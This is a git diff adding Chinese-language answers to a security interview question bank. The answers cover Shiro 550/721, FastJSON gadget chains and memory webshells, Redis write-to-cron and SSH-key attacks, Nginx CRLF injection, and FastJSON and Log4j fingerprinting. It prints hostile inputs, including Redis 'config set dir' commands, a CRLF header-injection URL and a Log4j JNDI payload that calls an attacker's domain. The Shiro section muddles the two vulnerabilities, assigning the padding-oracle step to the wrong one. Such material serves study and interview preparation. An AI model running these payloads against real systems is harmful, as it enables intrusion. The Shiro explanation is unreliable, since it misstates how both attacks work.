||||
|
||||
**攻击者利用 Shiro 550 的完整攻击链如下：**
|
||||
|
||||
1. **获取硬编码密钥**：攻击者无需任何特殊权限，可以直接从 Shiro 1.2.4 版本的源码中找到默认的硬编码密钥，即著名的 `"kPH+bIxk5D2deGgHxtzionw=="`
|
||||
2. **构造 Padding Oracle 攻击**：由于密钥已知，攻击者可以利用 **Padding Oracle 攻击**技术。这种攻击方式允许攻击者在不知道加密算法和具体内容的情况下，通过观察服务器对密文解密失败时的响应，来逐字节地解密 `rememberMe` Cookie 中的内容，并构造恶意的加密数据
|
||||
3. **恶意反序列化数据**：攻击者利用 Padding Oracle 攻击成功后，可以构造一个恶意的反序列化数据（例如利用 `CommonsCollections` 或 `ysoserial` 生成的 payload），并使用硬编码的密钥对其进行加密
|
||||
4. **命令执行**：当服务器收到并解密这个恶意的 `rememberMe` Cookie 后，会触发 Java 反序列化机制，从而执行攻击者构造的命令
|
||||
|
||||
**Shiro 721 漏洞出现在 Apache Shiro 1.2.5 到 1.4.1 版本之间**
|
||||
|
||||
在这些版本中，Shiro 官方已经意识到了硬编码密钥的风险，并将其移除，改为**随机生成密钥**。因此，Shiro 550 的利用方式在这里不再有效
|
||||
|
||||
**攻击者利用 Shiro 721 的完整攻击链如下：**
|
||||
|
||||
1. **构造恶意数据**：攻击者无需知道密钥，也无需进行 Padding Oracle 攻击。他们可以直接构造一个恶意的 `rememberMe` Cookie，其中包含一个完整的、恶意的反序列化 payload（例如一个远程加载代码的 payload，利用 `URLDNS` 或 `JdbcRowSetImpl` 等）
|
||||
2. **利用链绕过**：这个漏洞的精髓在于，攻击者可以利用一些特定的 Java 反序列化链，即使没有密钥也可以触发代码执行。例如，攻击者可以利用**`URLDNS`**或**`JdbcRowSetImpl`**等利用链，这些利用链无需解密，可以直接让服务器去请求攻击者指定的外部资源（如 LDAP 或 RMI 服务）
|
||||
3. **命令执行**：服务器在处理 `rememberMe` Cookie 时，会尝试反序列化恶意数据，从而触发远程加载，最终执行攻击者构造的命令
|
||||
|
||||
| 特性 | Shiro 550 | Shiro 721 |
|
||||
| ------------ | -------------------------------------------------------- | ------------------------------------------------ |
|
||||
| 漏洞版本 | 1.2.4 及以下 | 1.2.5 到 1.4.1 |
|
||||
| 核心漏洞 | 硬编码密钥 + 反序列化 | 反序列化 |
|
||||
| 攻击前置条件 | 需要 Padding Oracle 攻击 来解密和伪造 rememberMe 值 | 无需 Padding Oracle 攻击，直接发送恶意序列化数据 |
|
||||
| 利用复杂性 | 相对复杂，需要先利用 Padding Oracle 攻击来获取或伪造数据 | 相对简单，直接构造反序列化数据即可 |
|
||||
| 利用链 | 硬编码密钥 -> Padding Oracle -> 反序列化 -> 命令执行 | 恶意反序列化数据 -> 命令执行 |
|
||||
| 根本原因 | 密钥硬编码和反序列化处理不当 | 反序列化处理不当 |
|
||||
@@ -0,0 +1,22 @@
|
||||
### FastJSON 不出网利用方式
|
||||
|
||||
**1. 本地文件读写**
|
||||
|
||||
这是最常见的一种不出网利用方式。FastJson 的反序列化漏洞可以被利用来调用一些特定的类，这些类能够处理文件操作。
|
||||
|
||||
- **本地文件读取**: 我们可以利用 `com.sun.rowset.JdbcRowSetImpl` 类，在 `dataSourceName` 属性中构造一个特殊的 JNDI 字符串，例如 `rmi://localhost:1099/Evil`。在无法出网的情况下，这个 RMI 请求会失败，但如果我们将利用链和本地文件操作相结合，比如通过加载一些可以处理本地文件路径的类，理论上可以实现本地文件读取。一个更直接且知名的利用方式是利用 `javax.imageio.ImageIO` 类，通过 `read()` 方法加载一个恶意的 TIFF 或 GIF 文件，如果这个文件包含了特殊的 Payload，就能触发进一步的利用
|
||||
- **本地文件写入**: 我们可以利用一些可以写文件的类，例如通过加载一些可以处理文件路径的类，并结合一些 **gadget** 链来构造一个可以写入文件的 Payload。这需要我们对 FastJson 的 Gadget 链有深入的理解，并找到合适的类来完成文件写入操作
|
||||
|
||||
**2. 命令执行**
|
||||
|
||||
如果能找到一个可以触发本地命令执行的 Gadget 链，那么即使不出网也能直接在目标服务器上执行命令
|
||||
|
||||
**`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`**: 这是 FastJson 漏洞利用中最经典的 Gadget 之一。通过控制 `_bytecodes` 字段，我们可以加载一个恶意的 Java 类。这个类在被加载和实例化时，可以在其静态代码块或者构造函数中执行本地命令，例如 `Runtime.getRuntime().exec("command")`
|
||||
|
||||
**`org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor`** 等其他 Gadget: 除了 `TemplatesImpl`，还有很多其他的 Gadget 链可以被利用来触发命令执行。这些 Gadget 链通常涉及到不同的库和类，但其核心思想都是通过反序列化加载一个恶意类，并在该类中执行命令
|
||||
|
||||
**3. 内存马注入**
|
||||
|
||||
这是一种更高级的无文件攻击方式
|
||||
|
||||
- **动态注入**: 我们可以利用 FastJson 的反序列化漏洞，通过一些特殊的 Gadget 链，在内存中动态地注入一个 **Webshell**。这个 Webshell 不会以文件的形式存在于磁盘上，而是直接运行在内存中。攻击者可以通过访问特定的 URL 或者发送特定的请求来与这个内存马进行交互，从而实现命令执行、文件管理等操作。这种方式由于没有落地文件，可以有效规避基于文件哈希或特征的检测
|
||||
@@ -0,0 +1,36 @@
|
||||
### Windows 和 Linux 利用 REDIS 的区别
|
||||
|
||||
**1. 权限与用户**
|
||||
|
||||
- **Linux**: Redis 服务通常以低权限用户（如 `redis` 或 `nobody`）运行。这意味着即使你通过 Redis 成功写入了文件，比如写入一个 SSH 公钥到 `~/.ssh/authorized_keys`，你所能控制的也只是该低权限用户。要提升权限，你还需要找到另一个本地提权漏洞，这通常需要更多的步骤
|
||||
- **Windows**: 在 Windows 上，Redis 常常以 `SYSTEM` 或其他管理员权限运行，尤其是在一些不规范的部署中。如果能通过 Redis 成功写入文件，例如写入一个 WebShell 到网站目录或创建一个启动项，你所获得的权限可能直接就是 `SYSTEM` 级别。这使得 Windows 上的利用变得更简单粗暴，危害也更大
|
||||
|
||||
**2. 利用方式**
|
||||
|
||||
- **Linux**:
|
||||
- **写 SSH 公钥**: 这是最经典的利用方式。通过 `config set dir /root/.ssh/` 和 `config set dbfilename authorized_keys`，然后用 `set` 命令写入公钥，最后用 SSH 连接。这需要知道目标系统的用户家目录，通常是 `root` 或 `redis` 用户
|
||||
- **写 Crontab**: 利用 Redis 写入定时任务，反弹 Shell。`config set dir /var/spool/cron/` 和 `config set dbfilename root`，然后写入反弹 Shell 的命令。这种方式可以获得稳定的 Shell，但需要 Redis 有足够的权限写入该目录
|
||||
- **写 WebShell**: 写入 PHP、JSP 等 WebShell 到网站目录，通常需要 Web 服务器和 Redis 运行在同一台机器上，并且 Redis 有写入 Web 目录的权限
|
||||
- **Windows**:
|
||||
- **写 WebShell**: 写入 WebShell 到 `wwwroot` 或其他网站目录。这是最常见的利用方式，因为 Redis 经常与 Web 服务部署在同一台机器上
|
||||
- **写入启动项/服务**: 由于权限通常较高，可以直接写入 `.bat` 或 `.exe` 文件到启动目录或创建新的服务，实现权限维持和持久化
|
||||
- **DLL 劫持**: 高权限下的一个高级利用方式，将恶意的 DLL 文件写入到某个高权限程序会加载的路径，实现代码执行
|
||||
|
||||
**3. 环境与工具链**
|
||||
|
||||
- **Linux**:
|
||||
- **环境依赖**: Linux 环境下，渗透测试人员需要熟悉 Linux 文件系统路径、Cron 任务机制和各种 Shell 类型（Bash, Zsh）
|
||||
- **工具**: `redis-cli` 是最直接的交互工具。远程连接时，可以利用 `netcat` 或 `socat` 等工具来处理端口转发
|
||||
- **持久化**: Cron 任务、SSH 公钥都是很好的持久化手段
|
||||
- **Windows**:
|
||||
- **环境依赖**: 熟悉 Windows 文件系统路径（如 `C:\Windows\System32`）、服务管理（`services.msc`）和启动项（`startup` 文件夹）
|
||||
- **工具**: `redis-cli` 同样适用。但后续的利用，如上传 WebShell，可能需要依赖更多的工具或脚本来执行
|
||||
- **持久化**: 写入服务、注册表键值、计划任务都是常见的持久化手段
|
||||
|
||||
| 特性 | Windows 利用 | Linux 利用 |
|
||||
| -------- | ------------------------------ | ------------------------------------ |
|
||||
| 权限 | 通常更高，甚至可达 SYSTEM | 通常较低，为 redis 或 nobody |
|
||||
| 利用方式 | 写入 WebShell、启动项、服务等 | 写入 SSH 公钥、Crontab、WebShell |
|
||||
| 持久化 | 写入服务、计划任务、启动项 | 写入 Crontab、SSH 公钥 |
|
||||
| 成功率 | 如果权限高，成功率高，后果严重 | 需要找到合适的写入路径，可能需要提权 |
|
||||
| 主要区别 | 高权限直接执行命令，易于利用 | 低权限，需要提权，利用方式更依赖环境 |
|
||||
@@ -0,0 +1,49 @@
|
||||
### Nginx CRLF 注入原理
|
||||
|
||||
**什么是 CRLF？**
|
||||
|
||||
CRLF 是 **`Carriage Return Line Feed`** 的缩写，中文意思是**回车换行**
|
||||
|
||||
- `CR` (回车) 对应的十六进制是 `0x0D`，URL 编码是 `%0d`
|
||||
- `LF` (换行) 对应的十六进制是 `0x0A`，URL 编码是 `%0a`
|
||||
|
||||
在 HTTP 协议中，CRLF 有着特殊的意义
|
||||
|
||||
HTTP 报文（包括请求头和响应头）都是由一行行文本组成的，而每一行的结束都由 **CRLF** 来标记
|
||||
|
||||
服务器解析 HTTP 报文时，就是通过 `CRLF` 来判断一行的结束和下一行的开始
|
||||
|
||||
**Nginx CRLF 注入原理**
|
||||
|
||||
Nginx CRLF 注入的根本原因是：**Nginx 将用户输入的数据直接或间接用在了 HTTP 响应头中，并且没有对数据中的特殊字符（尤其是 `%0d%0a`）进行严格过滤**
|
||||
|
||||
当攻击者在 URL 中注入 `%0d%0a` 时，Nginx 在构建 HTTP 响应头时会把这两个特殊字符当成普通字符串处理，直接写入响应头
|
||||
|
||||
服务器在解析这个响应时，看到 `%0d%0a` 就会将其**解析为真正的回车换行符**，从而导致：
|
||||
|
||||
- **HTTP 响应头提前结束**：服务器认为响应头已经结束了
|
||||
- **攻击者可以注入新的响应头**：攻击者可以注入一个或多个新的响应头，例如 `Set-Cookie`、`Location` 等
|
||||
- **攻击者可以注入完整的 HTTP 响应体**：攻击者甚至可以注入一个全新的 HTTP 响应体，实现**响应拆分**（HTTP Response Splitting）攻击
|
||||
|
||||
正常情况下，如果你访问 `http://example.com/redirect?url=/home`，服务器会返回
|
||||
|
||||
```apl
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.20.1
|
||||
Location: /home
|
||||
Content-Type: text/html
|
||||
...
|
||||
```
|
||||
|
||||
但是，如果攻击者构造一个恶意的 URL：`http://example.com/redirect?url=/home%0d%0aSet-Cookie:crlf=test`
|
||||
|
||||
```apl
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.20.1
|
||||
Location: /home
|
||||
Set-Cookie: crlf=test
|
||||
Content-Type: text/html
|
||||
...
|
||||
```
|
||||
|
||||
你会发现，攻击者成功地在响应中注入了一个 **`Set-Cookie`** 响应头
|
||||
@@ -0,0 +1,57 @@
|
||||
### 如何判断靶标是否使用 FastJSON
|
||||
|
||||
**1. 报错信息**
|
||||
|
||||
通过构造特殊的请求来触发应用程序的报错，并从报错信息中寻找线索
|
||||
|
||||
- **构造畸形 JSON 数据**: 向目标API发送一个**格式错误的JSON**（例如，`{"a": 1, "b": "2",}`，多一个逗号）。如果服务器返回的错误信息中包含 `com.alibaba.fastjson`、`fastjson.JSONException` 或其他与 Fastjson 相关的关键字，那么就可以确定目标使用了 Fastjson
|
||||
|
||||
|
||||
|
||||
- **尝试特定语法**: Fastjson 在处理一些特殊类型时有其独特的语法。你可以尝试发送一个包含 `@type` 字段的 JSON，例如 `{"@type":"java.lang.Class","val":"com.alibaba.fastjson.JSON"}`。如果服务器返回了与这个字段相关的解析错误，那么目标可能使用了 Fastjson
|
||||
|
||||
|
||||
|
||||
**2. 数值型数据**
|
||||
|
||||
FastJSON 会把 01 解析成 1
|
||||
|
||||
|
||||
|
||||
FastJSON 1.2.70 会把 NaN 解析成 0
|
||||
|
||||
|
||||
|
||||
Fastjson 1.2.37 会抛出异常
|
||||
|
||||
|
||||
|
||||
**3. 注释符**
|
||||
|
||||
FastJSON 支持注释符
|
||||
|
||||
|
||||
|
||||
**4. 单引号**
|
||||
|
||||
FastJSON 的 `Feature.AllowSingleQuote` 是默认开启的，支持使用单引号包裹字段名
|
||||
|
||||
|
||||
|
||||
**5. 缺失值**
|
||||
|
||||
FastJSON 正常解析，会把缺失的值忽略掉
|
||||
|
||||
|
||||
|
||||
**6. 大小写**
|
||||
|
||||
FastJSON 在反序列化的时候，是对大小写不敏感的
|
||||
|
||||
|
||||
|
||||
**7. 特殊符号**
|
||||
|
||||
FastJSON 1.2.36 版本及后续版本支持同时使用 `_` 和 `-` 对字段名进行处理
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
### 如何判断靶标是否使用 Log4j
|
||||
|
||||
通过构造特殊请求，观察目标系统的反应
|
||||
|
||||
1. **利用 JNDI 注入**: 这是最经典的 Log4j 漏洞探测方法。在 HTTP 请求的各个位置（如 `User-Agent`、`X-Api-Key`、`Cookie`、POST 请求体等）注入一个 JNDI 字符串，并指向一个你可以控制的域名。
|
||||
|
||||
- 构造一个 DNS 请求：例如 `${jndi:ldap://your-domain.com/a}`
|
||||
|
||||
- 原理: 如果目标使用了 Log4j 且存在漏洞，它会解析这个字符串，并向你的域名发送一个 DNS 查询请求
|
||||
|
||||
- 判断: 你只需要在你的服务器上监听 DNS 请求。如果收到了来自目标 IP 的 DNS 请求，那就说明它解析了你的 Payload，很可能使用了 Log4j
|
||||
|
||||
2. **报错信息分析**: 构造一个会触发应用错误的请求，并观察返回的错误信息
|
||||
|
||||
- 例如: 在请求参数中输入一些特殊字符，让程序抛出异常。如果错误堆栈中出现了 `org.apache.logging.log4j` 或其他相关的类名，则可以确认
|
||||
|
||||
- 这种方法需要目标系统配置为显示详细的错误信息，这在生产环境中并不常见，但在开发或测试环境中可能有效
|
||||
|
||||
@@ -1 +1,20 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
|
||||
Reference in New Issue
Block a user